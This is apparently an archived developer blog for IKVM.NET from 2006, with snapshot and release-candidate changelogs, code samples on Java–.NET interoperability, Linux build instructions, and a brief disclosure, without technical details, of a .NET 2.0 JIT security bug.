While IKVM doesn't suffer from this, there is a somewhat related problem to look out for when using IKVM ghost interfaces from a .NET language:

using System;
using java.lang;

public class Program
{
  static void Main(string[] args)
  {
    CharSequence seq = "foo";
    object obj1 = seq;
    object obj2 = seq;
    Console.WriteLine(obj1 == obj2);
  }
}

Running this C# app produces False. This is because CharSequence is a ghost interface and represented by a value type. Assigning it to a local variable of type object boxes the value type instead of giving the underlying string object. Note that this only applies to ghost interfaces (i.e. java.lang.CharSequence, java.lang.Cloneable and java.io.Serializable). To fix this problem, you have to explicitly unwrap the object from the value type:

CharSequence seq = "foo";
object obj1 = seq.ToObject();
object obj2 = seq.ToObject();
Console.WriteLine(obj1 == obj2);

Unfortunately .NET doesn't have any mechanism for a value type to prevent (implicit) boxing or defining a custom implicit object conversion operator.

12/28/2006 2:07:23 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

New Snapshot

A new development snapshot. Now that GNU Classpath generics support has been merged in the IKVM.GNU.Classpath.dll has become a little bigger again (mostly because of the metadata associated with generic types and methods). Additionally, because enums and annotations are now fully available I've been able to continue work to support those better (in particular the integration between .NET and Java). It is now possible to use most Java annotations as .NET attributes in a fairly natural way.

Here's an example of using some Java annotations in C#:

[Retention(RetentionPolicy.__Enum.RUNTIME)]
[Target(new ElementType.__Enum[] { ElementType.__Enum.FIELD, ElementType.__Enum.METHOD })]
[Documented]
[Inherited]
[AnnotationLib.MyClassAnnotation(typeof(string))]
[AnnotationLib.MyClassArrayAnnotation(new Type[] { typeof(string), typeof(test) })]
[AnnotationLib.MyIntAnnotation(42)]
[AnnotationLib.MyIntArrayAnnotation(new int[] { 42, 123 })]
[AnnotationLib.MyStringAnnotation("Foo")]
[AnnotationLib.MyStringArrayAnnotation(new string[] { "Foo", "Bar", "Baz" })]
[AnnotationLib.MyPropAnnotation(count = 3)]
[AnnotationLib.MyOptionalValueAnnotation]
interface IFoo
{
}

Note in particular that Java enums are represented as nested .NET enum types (automatically generated by ikvmc whenever it encounters a public enum) and that Java class literals are represented as .NET Type literals. These mappings are required because .NET attributes (like Java annotations) cannot have arbitrary types as parameters.

List of changes:

  • Updated to current GNU Classpath cvs version.
  • Many AWT improvements (done by Volker Berlin, who now has cvs commit access).
  • Fixed bug in handling of annotation parameters of type Class.
  • Changed System.mapLibraryName to look at os.name system property and support the Mac OS X naming convention (but note that os.name needs to be explicitly set to "Mac OS X" for this to work).
  • Implemented most of the support needed to use annotations as .NET attributes. This includes generating a nested .NET enum named __Enum for Java enums (to make them usable in .NET attributes). Using annotations as attribute parameters is not supported (i.e. in .NET languages, for Java code annotations work as specified.)

Binaries are available here. Source is available in cvs.

12/28/2006 9:20:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 11, 2006

IKVM 0.32 rc1

Here's the release candidate. Updated japi results are available here.

Changes since previous snapshot:

  • Integrated GNU Classpath 0.93.

Files are available here: ikvm-0.32.0.0.zip (sources + binaries), ikvmbin-0.32.0.0.zip (binaries), ikvmbin-generics-0.32.0.0.zip (binaries built from generics branch))

As usual the binaries in ikvmbin-0.32.0.0.zip are signed and the generics binaries are not signed (and should be considered experimental and are not as well tested as the signed binaries). Post 0.93 the GNU Classpath generics branch will go away and be merged into the main branch.

I going on vacation tomorrow and will be back on the 21st. Please test this rc in the mean time ;-) When I get back I will do the official release.

Update: As Andrew John Hughes points out in the comments, the GNU Classpath generics merge is now done. I've modified the ikvm build to support this and checked these changes in.

12/11/2006 9:43:31 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Thursday, December 07, 2006

.NET Framework 2.0 Security Hole

Yesterday I discovered a bug in the JIT that not only causes incorrect results, but also allows the type system to be circumvented, which in turn leads to the possibility of arbitrary code execution. I have a proof-of-concept that executes arbitrary x86 code from a verifiable and partially trusted C# application.

I reported the bug to Microsoft and it turns out that it was independently discovered and reported by someone else in August (but who, I believe, did not understand the security implications of the bug). The bug was subsequently fixed in September and the fix made it into the Vista release of the .NET Framework 2.0 (so if you're running Vista, you're not vulnerable.)

They tell me that a fix will be distributed via Windows Update "sometime in the next few months". If you don't want to be vulnerable in the mean time, disable running .NET code in the browser and don't run any ClickOnce applications from untrusted sources.

I will publish my proof-of-concept and analysis after the patch is released.

12/7/2006 7:45:59 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Tuesday, December 05, 2006

New Snapshot

Final snapshot before the 0.32 release candidate (due after GNU Classpath 0.93 is released).

  • Integrated GNU Classpath 0.93 cvs branch.
  • Fixed type sealing optimization to take -privatepackage option into account.
  • Fixed line number table encoding bug (for line number deltas > 8191).
  • Fixed array to support internal accessibility (@ikvm.lang.Internal annotation or ikvmc -privatepackage option).
  • Switched to using NAnt-0.85 (release) for building.
  • Unforked gnu.classpath.Pointer. GNU Classpath native code that uses Pointer can now be used as-is.
  • Removed various gnu.classpath.Pointer hacks from compiler and runtime.
  • Removed handcoded DirectByteBufferImpl methods from map.xml
  • Forked DirectByteBufferImpl and merged in MappedByteBufferImpl functionality. DirectByteBufferImpl now uses .NET type System.Runtime.InteropServices.Marshal to do direct buffer manipulation and uses a PhantomReference to schedule cleanup.
  • Updated FileChannelImpl to use new DirectByteBufferImpl instead of MappedByteBufferImpl.
  • Changed FileChannelImpl to directly use win32 boolean instead of polymorphism, for the few platform specific operations.
  • Fixed regression introduced in previous snapshot. IsErasedOrBoxedPrimitiveOrRemapped should only return true for Java primitives, not all .NET primitives.
  • Added check to ikvmc to make sure that all assemblies required by referenced assemblies are available.
  • Added attempted workaround for c++/cli compiler bug https://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=234167
  • Fixed Socket.soLingerOption(false) handling.
  • Added String.format() methods. (Note that they delegate to GNU Classpath's java.util.Formatter which isn't yet fully functional.)
  • Changed class file parser to accept version 50 (Java 6) class files (the StackMapTable attribute is still ignored though).
  • Fixed ikvmc to make the stub methods that exist to hide System.Object and System.Exception methods from java.lang.Object and java.lang.Throwable do a virtual call on the methods they hide, instead of a non-virtual call.
  • Removed public instancehelper_finalize() and instancehelper_clone() methods from java.lang.Object & java.lang.Throwable. This required some relatively ugly hacks, but having these protected methods callable by anyone was not acceptable from a security p.o.v. so hacks are a necessary evil. As a side effect, these hacks made it possible to implement clone() for types that extend cli.System.Object and cli.System.Exception (as long as they implement the java.lang.Cloneable interface to signal that they are OK with being cloned).
  • Enabled IKVM.AWT.WinForms.dll target on Linux.
  • Changed AssemblyClassLoader (Java code) to keep track of the Assembly it corresponds to.
  • Implemented some simple codegen optimizations in CountingILGenerator.
  • Implemented resource loading delegation for assembly class loaders.
  • Added support (albeit a little hacky) for generating class stubs for .NET generic type instances.
  • Added ikvmc -externalresource option to link external files as resources (i.e. instead of embedding the resource in the assembly, only a filename and hash are added to the assembly manifest.)
  • Pre-linked .NET method wrappers, to fix problem with .NET generic types in signatures.

Source is in cvs. Binaries: ikvmbin-0.31.2530.zip

12/5/2006 8:57:09 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Tuesday, November 28, 2006

Linux Build Environment

M. David Peterson has created a Linux Virtual Appliance that can be used to build IKVM.NET from source in a Linux environment without requiring a lot of complicated setup.

  • Download the appliance VMWare image from http://www.rpath.org/rbuilder/project/nuxleus/release?id=5209
  • Boot it up inside VMWare (Player)
  • Log in as root (no password)
  • Run "conary update --replace-files group-devel=conary.rpath.com@rpl:1"  to get the development tools
  • Run "conary update cli-gac-tag" to install the ikvm assemblies into the GAC.
  • Run "cvs -z3 -d:pserver:anonymous@ikvm.cvs.sourceforge.net:/cvsroot/ikvm co -P ikvm" to get IKVM.NET from cvs.
  • Run "cvs -z3 -d:pserver:anonymous@cvs.savannah.gnu.org:/sources/classpath co classpath" to get GNU Classpath from cvs.
  • Change into the ikvm directory and run nant.

That's it!

11/28/2006 7:28:13 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, November 14, 2006

Sun Open Sourcing Java

Yesterday Sun announced that they will be releasing their Java platform implementations under the GPL v2 (+ Classpath exception for the J2SE libraries). This is great news for the Java ecosystem and for IKVM.NET as well, of course.

A few people have mailed me to ask what this means specifically for IKVM. Here are my current plans (subject to change, as always): When the GPL version of the Java 7 libraries will be released, I will start working on integrating them with IKVM. Some parts of the libraries are not owned by Sun, so there will be holes in what they release, hopefully these can be filled soon (for example by code from GNU Classpath.)

The Sun libraries obviously use native code to interface with the OS, for IKVM this is not ideal (JNI is slow and native code much less secure and robust than managed code), so where feasible I will continue to use my current "native" implementations (e.g. socket and file i/o) based on the .NET Framework.

11/14/2006 7:44:12 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Wednesday, October 11, 2006

New Snapshot

New snapshot where I've reintroduced netmodule support. I think that was the final issue resulting from the assembly class loader architecture change, but, as always, I welcome feedback.

Changes:

  • Added modreq(IsVolatile) support for WHIDBEY target.
  • Fixed a bug in ikvmc's detection of incompatible assemblies (compiled with another version of ikvm).
  • Added support for specifying partial names in ikvmc -reference option (this is most useful for .NET Framework assemblies, e.g. you can now say -r:mscorlib).
  • Fixed NullReferenceException in AssemblyClassLoader when one of the referenced assemblies is not available.
  • Changed class.map and pkg.lst from resources to custom attributes, to better support modules that are merged together (WARNING: merging ikvmc generated modules with modules generated by other compiler is *not* supported)
  • Added support for multi-module assemblies (each module in a multi-module assembly can be written in a different language [but J# is still not suppored]).
  • Added optimization to ikvmc to seal private types that do not have subclasses.
  • Removed global DefineClass lock.
  • Constant fields no longer have a CLR backing field in dynamic mode.

Source is in cvs. Binaries: ikvmbin-0.31.2475.zip

10/11/2006 7:35:48 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, October 04, 2006

New Snapshot

Yet another new snapshot.

Changes:

  • Fixed java.lang.Byte implementation of IFormattable to treat byte as a signed number.
  • Changed ikvm.lang.CIL boxing methods for built-in primitives to no longer do the actual boxing, but instead simply return the passed in value as another type, the call site will then do the boxing (if required).
  • Fixed field reflection to support overloaded field names.
  • Fixed a bunch of metadata regressions introduced in 0.31 with the changes made to final field handling.
  • Deprecated final fields that are compiled as properties now have the properties marked with ObsoleteAttribute.
  • Added support for encoding method/field signatures with types that look different in the Java world, but are actually the same in the CLR signatures (e.g. you can now have a method that takes or returns cli.System.Object or cli.System.Int32).

Source is in cvs. Binaries: ikvmbin-0.31.2468.zip

10/4/2006 11:33:49 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, October 02, 2006

New Snapshot

Again, a new snapshot. This time with some new magic to make Java boxed primitives integrate a little better with .NET string formatting. The following code now produces the expected result:

class test
{
  public static void main(String[] args)
  {
    cli.System.Console.WriteLine("Java Magic = {0:X}", 0xCAFEBABE);
    cli.System.Console.WriteLine("Pi is approx. = {0:N2}", Math.PI);
  }
}

To enable this, the Java box classes have to implement IFormattable. I added support to the remapping infrastructure for this:

<class name="java.lang.Double">
  <implements class="cli.System.IFormattable">
    <method
     
name="ToString"
      sig="(Ljava.lang.String;Lcli.System.IFormatProvider;)Ljava.lang.String;">
      <redirect
        class="ikvm.internal.Formatter"
        type="static"
        name="ToString"
        sig="(Ljava.lang.Double;Ljava.lang.String;Lcli.System.IFormatProvider;)Ljava.lang.String;"
      />
    </method>
  </implements>
</
class>

The ToString helper method is trivial:

public static String ToString(Double d, String format, IFormatProvider provider)
{
  return ((IFormattable)CIL.box_double(d.doubleValue())).ToString(format, provider);
}

Note that from the Java side this is mostly invisible (the exception being that you can now cast a java.lang.Double to cli.System.IFormattable, even though the interface is not visible thru reflection).

Changes:

  • Added workaround for mono bug.
  • Added support for specifying java class names in map.xml attribute parameters of type System.Type.
  • Added support to remapping infrastructure for adding interfaces to classes (invisible to Java code).
  • Made java.lang.Byte, Short, Integer, Long, Float and Double implement IFormattable (privately, so this is invisible to Java code).

Source is in cvs. Binaries: ikvmbin-0.31.2466.zip

10/2/2006 9:27:16 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, September 26, 2006

New Snapshot

More fixes and nio improvements and a regression fix.

Changes:

  • Fixed SocketChannel.close() (was broken in previous snapshot).
  • Added support to VMThread for custom interruptable code regions.
  • Implemented SocketChannel interruptability and asynchronous close.
  • Implemented ServerSocketChannel interruptability and asynchronous close.
  • Almost completely rewrote SelectorImpl to fix many bugs and implement interruptability.
  • Fixed PlainDatagramSocketImpl.receive() to ignore WSAECONNRESET errors.
  • Optimized SelectorImpl to not create a new wakeup socket for each select.
  • Fixed regression introduced in 0.31 that caused NullReferenceException if a class had explicitly defined write-only properties (specified in an xml mapping file).

Source is in cvs. Binaries: ikvmbin-0.31.2460.zip

9/26/2006 7:01:50 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, September 22, 2006

New Snapshot

More nio fixes. Azureus now works (sort of anyway). I also added a workaround for a bug in mcs that was exposed by my recent changes in the way final fields are handled.

Changes:

  • Added workaround for mcs bug.
  • More nio fixes. Selector now works much better. Lots more work still needed.

Source is in cvs. Binaries: ikvmbin-0.31.2456.zip

9/22/2006 7:59:08 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, September 20, 2006

New Snapshot

A new snapshot. Most significant change is the almost complete rewrite of the nio code, triggered by the GNU Classpath nio rewrite. The test coverage for nio is fairly abysmal, so hopefully I haven't introduced too many regressions. On the whole the new code should be equivalent to or better than the previous version, but there still remains a lot to be done.

Changes:

  • Updated to current GNU Classpath cvs version.
  • Fixed streaming sockets to support SO_REUSEADDR socket option.
  • Changed ikvmc -resource option to strip unnecessary leading slash from resource name.
  • More code restructuring.
  • Added tracing to assembly resource and class loading.
  • Fixed ikvmstub to export non-public outer classes when an inner class is exported.
  • Simplified "save debug image" code to emit ikvmdump.dll instead of ikvmdump.exe (the resulting file has not been executable for a while, so it made no sense to pretend it was).
  • Rewrite of nio socket support code.

Source is in cvs. Binaries: ikvmbin-0.31.2454.zip

9/20/2006 8:16:12 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, September 05, 2006

New Snapshot

A new snapshot with mainly bug fixes and code restructuring.

Changes:

  • Updated to current GNU Classpath cvs version.
  • Fixed Class.forName() regression introduced in 0.28. Doing a Class.forName() on a .NET type using the assembly qualified name wouldn't run the class initializer.
  • Fixed System.arraycopy() performance regression introduced in 0.31 for ikvmc compiled code.
  • Changed java.lang.ref.Reference not to use a WeakReference if the referent is a Class object (since IKVM doesn't support Class gc, it would be a waste).
  • Fixed java.lang.ref.Reference memory leak (a reference associated with a ReferenceQueue would stay around until the referent was GCed).
  • Changed ikvmc to "critical fail" if it triggers a TypeResolve event. If you encounter these, please report them.
  • Fixed stub generator to set inner class access flags correctly in outer class InnerClasses attribute. Previously javac didn't recognize the Annotation inner interface in .NET custom attribute classes as annotation because the annotation bit wasn't set in the outer class.
  • Regenerated mscorlib.jar and System.jar. Removed System.Xml.jar.
  • Fixed bug in VMObjectStreamClass.hasClassInitializer that could cause it to throw a System.NotSupportedException on an array type when the element type was an unfinished dynamic type.
  • Fixed a bug in the hack that looks up the TimeZone.
  • Added IsErased and IsDynamicOnly properties to TypeWrapper.
  • Changed delegate handling to no longer emit the Method interface, but instead use static binding to the target method when possible and otherwise generate dynamic code.
  • Introduced generic handling of DynamicOnly interfaces (both the "Method" and "Annotation" interfaces in respectively delegates and custom attributes are now represented as DynamicOnly types -- i.e. they are implemented entirely through reflection.)
  • Changed bytecode compiler to call ikvm.runtime.getClassFromTypeHandle instead of IKVM.Runtime.GetClassFromTypeHandle for ldc <class> to remove the need to downcast the resulting object to Class.
  • Moved compilation options from static properties of JVM class to instance properties of ClassLoaderWrapper.
  • Did a little cleanup/reorganization of ikvmc.
  • Patched runtime/MemberWrapper.cs to work around gmcs bug.
  • Patched awt/toolkit.cs to work around gmcs bug.
  • Moved AotTypeWrapper static fields to CompilerClassLoader instance fields.
  • Removed TypeWrapper.Assembly property.
  • Fixed WeakReference tracker to use a WeakTrackResurrection handle, to be able to enqueue weak references that are only reachable via a finalizer or are resurrected.
  • Changed file.encoding system property from hardcoded 8859_1 to using System.Text.Encoding.Default.WebName.

Source is in cvs. Binaries: ikvmbin-0.31.2439.zip

9/5/2006 7:17:14 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, August 21, 2006

New Snapshot

I fixed an ikvmstub regression introduced in the previous snapshot and fixed AssemblyClassLoader.getPackage[s]. I did some class file fuzzing and fixed most differences between JDK 1.5 and IKVM (most are trivial and only fixed to reduce the noise in the fuzz differences, but I also found a couple of real bugs).

Other changes:

  • Fixed runtime class loading to handle class loaders that return null or the wrong class.
  • Fixed Constructor to prevent instantiating Enum objects.
  • Fixed ikvmc not to stop with error when encountering invalid .class files. Also, when it encounters a .class file in a zip or jar that does not start with the Java class magic value it will include the .class file as a resource.
  • Improved ikvmc warnings about invalid classes to include the filename.
  • Fixed class file parser to correctly check the class file minor version.
  • Fixed field and method name validation in class file parser.
  • Fixed class file parser to check length of Deprecated attribute.
  • Fixed class file parser to check length of InnerClasses attribute when class file version is >= 49.
  • Fixed class file parser to always validate NameAndType constant pool entries.
  • Fixed class file parser to check for maximum method size of 65535 instead of 65536.
  • Fixed class file parser to check some properties of exception handler tables (instead of doing that at verification time).
  • Fixed reflection (Class.getDeclaredMethods) to throw ClassFormatError or VerifyError.
  • Fixed handling of inner class modifier flags to always use the flags from the inner classes attribute, except for the accessibility flags.
  • Fixed verifier/compiler to emit methods that throw ClassFormatError, instead of only VerifyError.
  • Fixed verifier to disallow exception handlers starting at bytecode offset zero.
  • Fixed verifier to better check invokeinterface.

Source is in cvs. Binaries: ikvmbin-0.31.2424.zip

8/21/2006 7:24:22 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, August 18, 2006

Breaking Changes

Now that 0.30 has been released, it's time to talk about the next version. While 0.30 was baking, I've made some significant changes. People sometimes ask me why the version number is so low, part of the reason is that I anticipate that I'll need to make breaking changes a couple more times.

Moved Runtime API to IKVM.GNU.Classpath.dll

To make the runtime API easier to use and to allow (potential) future changes that remove the need for IKVM.Runtime.dll to discover IKVM.GNU.Classpath.dll, I moved the public API of the runtime into IKVM.GNU.Classpath.dll. Now, IKVM.Runtime.dll still exposes a bunch of public types, but you should not use any of these, they are "undocumented" and only for use by ikvmc generated code and IKVM.GNU.Classpath.dll. They will also change in future versions.

Revisiting the ClassLoader per Assembly Idea

Over the past couple of years I've slowly come around on my initial decision to have all classes in assemblies appear to be loaded by the boot class loader. My initial reluctance was mostly due to the fact that using a ClassLoader per assembly would require violating the ClassLoader delegation model, but the success of OSGi (which does the same) demonstrates that this isn't such a big deal.

Here are some of the advantages:

  • Each assembly will be its own namespace, meaning that things like Class.forName() and Class.getResource() will be able to search the calling assembly first, so you won't get into class or resource name conflicts as easily.
  • It removes the need for the hack that returns the system class loader, instead of null, for statically compiled classes.
  • It allows for many operations to be more efficient.
  • It removes the need for pre-loading assemblies to make Class.forName() work, because the assembly class loader will be able to search all referenced assemblies (i.e. ikvmc's -reference option will be honored by the assembly class loader).
  • You will be able to take full advantage of .NET assembly namespace separation (i.e. multiple versions of a jar can be compiled and used in the same AppDomain, by different pieces of code).
  • It allows for a more natural integration of ReflectionOnly support (when running a .NET 2.0 build of ikvmc or ikvmstub).

I made a new snapshot that you can play around with to evaluate how the change will impact you. Please let me know, now's the time to convince me to change some of the details ;-)

Here's a full list of changes in this snapshot:

  • Changed class loader architecture to represent each .NET assembly with its own class loader.
  • Changed system class loader to the application entry assembly class loader (except if the java.class.path system property is explicitly set, then you get a URL class loader that loads from the specified class path).
  • Ported stub class generator from C# to Java and incorporated it into IKVM.GNU.Classpath.dll.
  • Hooked up assembly class loader resource loading with stub generator, to support loading .class stub files for .NET and statically compiled classes.
  • Changed ikvmstub to create stub classes by simply loading them as resources.
  • Removed IKVM.Runtime.Util methods that existed for ikvmstub.
  • Fixed runtime/ikvmc to no longer depend on the CLR interning string literals.
  • Runtime no longer locks the class loader instance before calling loadClass.
  • Removed old mono bug work arounds from jni code.
  • Class.getProtectionDomain() now returns a more meaningful ProtectionDomain (including a CodeSource) for statically compiled Java code and .NET assemblies.
  • Moved VMSystem.setIn/setOut/setErr implementation from C# to Java.
  • Changed the way final instance fields are handled (added a private setter method to the property) to remove the need for the runtime to correlate the field with the property.
  • Fixed final field property accessor generator to make sure that the generated method name doesn't clash with other methods.
  • Moved IKVM.Runtime public API to IKVM.GNU.Classpath (and renamed to namespace and method names to follow Java naming convention).
  • Set system property to disable usage of Graphics 2D by Swing implementation.
  • Added java.vendor.url.bug, java.runtime.name and java.runtime.version system properties.

Source is in cvs. Binaries can be downloaded here: ikvmbin-0.31.2421.zip

8/18/2006 11:09:00 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [5]

IKVM 0.30 Released

I released 0.30 (same bits as last week's rc1) to SourceForge.

8/18/2006 10:02:31 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, August 10, 2006

IKVM 0.30 rc1

Here's the release candidate. Updated japi results are available here.

Changes since previous snapshot:

  • Integrated GNU Classpath 0.92.
  • Fixed ikvmc to handle constructorless classes correctly.
  • Fixed a couple of FileChannelImpl bugs.

Files are available here: ikvm-0.30.0.0.zip (sources + binaries), ikvmbin-0.30.0.0.zip (binaries), ikvmbin-generics-0.30.0.0.zip (binaries built from generics branch)

8/10/2006 10:38:07 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, August 03, 2006

New Snapshot

I'm preparing for the 0.30 release and this time I decided to do things a little more structured, so I made a branch in cvs: v0_30. I checked out the code into a clean directory changed allsources.lst and classpath.build to point to a clean check out of the GNU Classpath 0.92 release branch (Note that 0.92 has not yet been released) and ran the build script.

The resulting binaries are available here. Note that even though the directory inside the zip is ikvm-0.30.0.0, this is not yet 0.30, but instead should be considered a development snapshot and the binaries are unsigned and have version 0.29.*.

Please test this version and report any bugs, now's the time to get them fixed before 0.30 is released!

Here's what's new:

  • Integrated GNU Classpath 0.92-pre
  • Implemented java.util.concurrent.atomic.AtomicInteger, AtomicIntegerArray, AtomicReference, AtomicReferenceArray, java.util.concurrent.locks.LockSupport and the sun.misc.Unsafe and sun.reflect.Reflection classes required by java.util.concurrent.
  • Added support for Thread parking (as required by j.u.c.l.LockSupport) to VMThread.
  • Added support for ldind.ref, stind.i2, stind.i4, stind.ref and ldelema CIL instruction to remapper.
  • Fixed volatile long/double access to be atomic.
  • Implemented VM specific part of RuntimeMXBean.
  • Implemented VMNetworkInterface using System.Management (via reflection to make sure the code continues to "work" on Mono which doesn't have a System.Management implementation) based on code submitted by Rich Naylor.
  • Implemented DatagramSocket multicast join/leave [implemented by Rich Naylor]
  • Added exception handler to app.config settings reading to ignore exceptions when app.config is invalid.
  • Added support to ikvmstub to generate annotations for custom attributes (but support is limited to a few simple custom attribute signatures currently).
  • Moved assembly attributes from map.xml to AssemblyInfo.java
  • Moved ThreadStatic and DllImport attributes from map.xml to source.
  • Added support for applying assembly attributes (by way of the "assembly" placeholder class).
  • Fixed IsSideEffectFreeStaticInitializer to handle unused class literals and invalid class files.
  • Removed -Xbootclasspath support (it wasn't compatible with Sun and the implementation was very hacky).
  • Cleaned up ikvmstub class loading.
  • Fixed ReflectionOnly (when compiling for WHIDBEY target) bug when handling generic byref method parameters.
  • Fixed DynamicClassLoader.CreateModuleBuilder() to have it return the ikvmc target assembly instead of creating a new assembly.
  • Centralized array type construction.
  • Fixed cli.System.Void.class literal to yield cli.System.Void instead of void type (this also fixes ikvmstub to generate cli.System.Void instead of void when processing mscorlib).
  • Restructured class loading to remove DynamicClassLoader subclass and use delegation instead.
  • Fixed Socket and DatagramSocket to ignore timeout on write operations (reported by David Pirkle).
  • Fixed Socket and DatagramSocket to throw UnknownHostException when dealing with an unresolved SocketAddress.
  • Fixed VMFile.mkdir not to throw exception when trying to create an invalid directory name.
  • Fixed ArrayIndexOutOfBoundsException when trying to load class named "[[".
  • Fixed VMStackWalker.getClassContext() to skip one less frame [this fix makes Eclipse 3.2 start up].
  • Added a hack to prevent the x64 JIT from doing tail call optimizations.
  • Changed IKVM.GNU.Classpath.dll build script to use classpath.security file from GNU Classpath instead of ikvm specific version.
  • Much improved ReflectionOnly support (WHIDBEY target only).
  • Added a CompilationRelaxations assembly attribute to fix a bug that occurred when IKVM.Runtime.dll or ikvmc.exe were NGENed. The code relies on string literals being interned by the CLR, but starting with .NET 2.0 the C# compiler by default annotates the assemblies it generates with the CompilationRelaxations(CompilationRelaxations.NoStringInterning) attribute.
  • Relaxed class name restrictions for 1.5 class files.
  • Added support for Java classes with a Finalize() method (there was a know bug that the generated Finalize stub that calls the real finalize() method would conflict with a user defined Finalize() method).
  • Removed IkvmStubMode hack.
  • Changed naming and loading of CLR generic types.
  • Implemented the remaining 1.5 methods in java.lang.Class.
  • Added consistency checks to Class.getDeclaringClass() and Class.getDeclaredClasses().
  • Simplified loading of "manufactured" nested classes (i.e. the nested Method interface in delegates and the Annotation annotation in attributes).
  • Changed generic type instantiations to have a custom class loader that delegates to the class loaders that were used to create the type (at least when there are no type name clashes).
  • Cleaned up warning generation in ikvmc and added -nowarn option to suppress specific warnings.
  • Fixed volatile read/write on WHIDBEY target build of ikvmc.
  • Made array type construction more lazy. Constructing large dimensional array types is now much faster.
  • Changed ClassLoader.findLoadedClass() to be compatible with 1.5 instead of 1.4 (i.e. it no longer creates new array types).
  • Fixed compiler to mark methods that use getstatic/putstatic on fields in another class as not inlineable (because the instructions are effectively a method call when they trigger the static initializer).
  • Fixed compiler to mark methods that use dynamic getstatic/putstatic/getfield/putfield instructions as not inlineable.
  • Improved optimization in compiler that omits line number table from methods that cannot throw exceptions. It now understands that getfield/putfield on the this reference and getstatic/putstatic on the current class cannot throw.
  • Fixed a bug in exception handling that could cause a TypeInitializationException to turn into a ClassCastException.
  • Added cause exception to NoClassDefFoundError that gets thrown when a type that failed its static initializer is accessed again.

8/3/2006 6:31:36 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, August 01, 2006

.NET Generic Types

Recently I changed the way .NET generic types are handled by IKVM. The previous scheme was based on a naive mangling of the .NET Type.FullName property, but that turned out to be problematic for various reasons. The first obvious reason was that type names often were way too long for comfort. For example:

Type t = typeof(System.Collections.Generic.List<string>);
Console.WriteLine(t.FullName);
Console.WriteLine(((java.lang.Class)t).getName());

With IKVM 0.28 this prints out:

System.Collections.Generic.List`1[[System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]
cli.System.Collections.Generic.List$$00601$$005B$$005B System$$002EString$$002C$$0020mscorlib$$002C$$0020 Version$$003D2$$002E0$$002E0$$002E0$$002C$$0020 Culture$$003Dneutral$$002C$$0020 PublicKeyToken$$003Db77a5c561934e089$$005D$$005D


(I manually inserted some spaces to make the HTML wrap.)

This obviously isn't very practical, but there is also a deeper problem. This literal translation of the name misses the fact that class loading in .NET is fundamentally different from class loading in Java. Which means that it is easy to go from Type to class name, but given a class name it is much harder to construct the corresponding type, especially if on or more of the type parameters are Java types (or remapped types).

In the next release the class name will be:

cli.System.Collections.Generic.List$$00601_$$$_Ljava__lang__String_$$$$_

Not only more readable, but it also correctly reflects the fact that System.String is known as java.lang.String on the Java side.

I also changed the way these names are resolved to be more inline with the way Java works. The name is now parsed by the class loader that first tries to load the class which then in turn loads the component classes and constructs the generic type from that. This means that the following code will now work (if you can somehow convince your Java compiler to compile it):

import cli.System.Collections.Generic.*;

class Test
{
  public static void main(String[] args)
  {
    List$$00601_$$$_LTest_$$$$_ list = new List$$00601_$$$_LTest_$$$$_();
    list.Add(new Test());
  }
}


With the previous scheme there was no way to refer to the Test class in the generic class name, but now the correct class loader is used so you can refer to Java classes as well. That leaves only one question, what does list.getClass().getClassLoader() return? Well, for the time being I've decided to automatically construct a class loader that delegates to the defining class loaders of the classes used to construct the generic type, this ensures (as long as no types with the same names are used) that all types used in the definition of the generic type instance can be loaded by its class loader. It isn't actually clear to me that this is required, but at least for the time being it is, because some of the reflection code relies on this fact.

Finally, as a reminder, all this stuff is still experimental and, frankly, not intended to be practical. The main reason this support exists is to make the life of reflection/ikvmstub easier, otherwise the runtime would have to have all sorts of complicated support to deal with field types and method parameter/return types that take generic type instantiations.

8/1/2006 3:11:32 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, July 24, 2006

JaCIL

Almann Goo released version 0.6.0.0 of JaCIL on Saturday. The goal of JaCIL is basically to be a reverse ikvmc, it converts .NET assemblies into Java jars.

The binary distribution includes a couple of demos. Naturally I had to try and run them on IKVM :-) I ran into two known IKVM bugs, the first being that JaCIL generates a class and prior to Java 1.5 this wasn't a valid class name, but since Java 1.5 the class name space has been significantly enlarged, almost all checks have been removed. The second bug was that Java classes with both a Finalize() and finalize() method would be compiled incorrectly (under the covers IKVM generates a Finalize() method that overrides System.Object::Finalize and calls java.lang.Object::finalize), I've added support for this by renaming the generated Finalize method when it is necessary.

JaCIL isn't yet at the point where it can compile the ikvmc generated assembly[*], but maybe we'll eventually be able to run Java on .NET on Java on .NET on Java on .NET on Java... ;-)

[*] If you try it, you'll likely to run into an IKVM limitation. JaCIL is a .NET application and uses an ikvmc compiled version of ObjectWeb ASM and currently, IKVM.Runtime.dll gets confused if multiple versions of IKVM.GNU.Classpath.dll are loaded in the AppDomain.

7/24/2006 2:18:39 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, July 12, 2006

Eclipse 3.2 x64

The Eclipse 3.2 release also includes an "early access" version for Windows x64 (among other 64 bit platforms), so I decided to try to run this version on IKVM.

